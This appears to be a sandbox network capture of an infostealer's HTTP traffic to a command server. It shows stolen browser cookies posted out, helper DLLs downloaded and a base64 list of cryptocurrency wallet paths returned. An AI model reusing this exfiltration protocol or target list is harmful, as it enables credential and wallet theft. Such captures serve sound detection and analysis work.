Jul 27, 2024 12:01:09.748681068 CEST	949	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDHCAAKECFIDHIEBAKF Host: 85.28.47.31 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------FHDHCAAKECFIDHIEBAKFContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------FHDHCAAKECFIDHIEBAKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FHDHCAAKECFIDHIEBAKFContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------FHDHCAAKECFIDHIEBAKF--
Jul 27, 2024 12:01:10.729485989 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 12:01:10.848505020 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAKFCGIJKJKFHIDHIII Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="file"------HDAKFCGIJKJKFHIDHIII--
Jul 27, 2024 12:01:11.566941023 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 12:01:12.236141920 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIJJJKKJJDAKEBFIJDH Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FHIJJJKKJJDAKEBFIJDHContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------FHIJJJKKJJDAKEBFIJDHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHIJJJKKJJDAKEBFIJDHContent-Disposition: form-data; name="file"------FHIJJJKKJJDAKEBFIJDH--
Jul 27, 2024 12:01:12.792917013 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 12:01:13.234724045 CEST	90	OUT	GET /8405906461a5200c/freebl3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 12:01:13.420826912 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 27, 2024 12:01:14.093852043 CEST	90	OUT	GET /8405906461a5200c/mozglue.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 12:01:14.276191950 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 27, 2024 12:01:14.689594030 CEST	91	OUT	GET /8405906461a5200c/msvcp140.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 12:01:14.877625942 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 27, 2024 12:01:15.268465996 CEST	87	OUT	GET /8405906461a5200c/nss3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 12:01:15.449731112 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 27, 2024 12:01:17.001873016 CEST	91	OUT	GET /8405906461a5200c/softokn3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 12:01:17.186203003 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 27, 2024 12:01:17.515511036 CEST	95	OUT	GET /8405906461a5200c/vcruntime140.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 12:01:17.708631992 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 27, 2024 12:01:18.103615999 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAK Host: 85.28.47.31 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 12:01:18.902194023 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 12:01:18.951477051 CEST	465	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJD Host: 85.28.47.31 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="message"wallets------HIIIECAAKECFHIECBKJD--
Jul 27, 2024 12:01:19.144104958 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 27, 2024 12:01:19.146543026 CEST	470	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKFBKEHDBGHJJKFIEGD Host: 85.28.47.31 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 2d 2d 0d 0a Data Ascii: ------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="message"ybncbhylepme------BAKFBKEHDBGHJJKFIEGD--
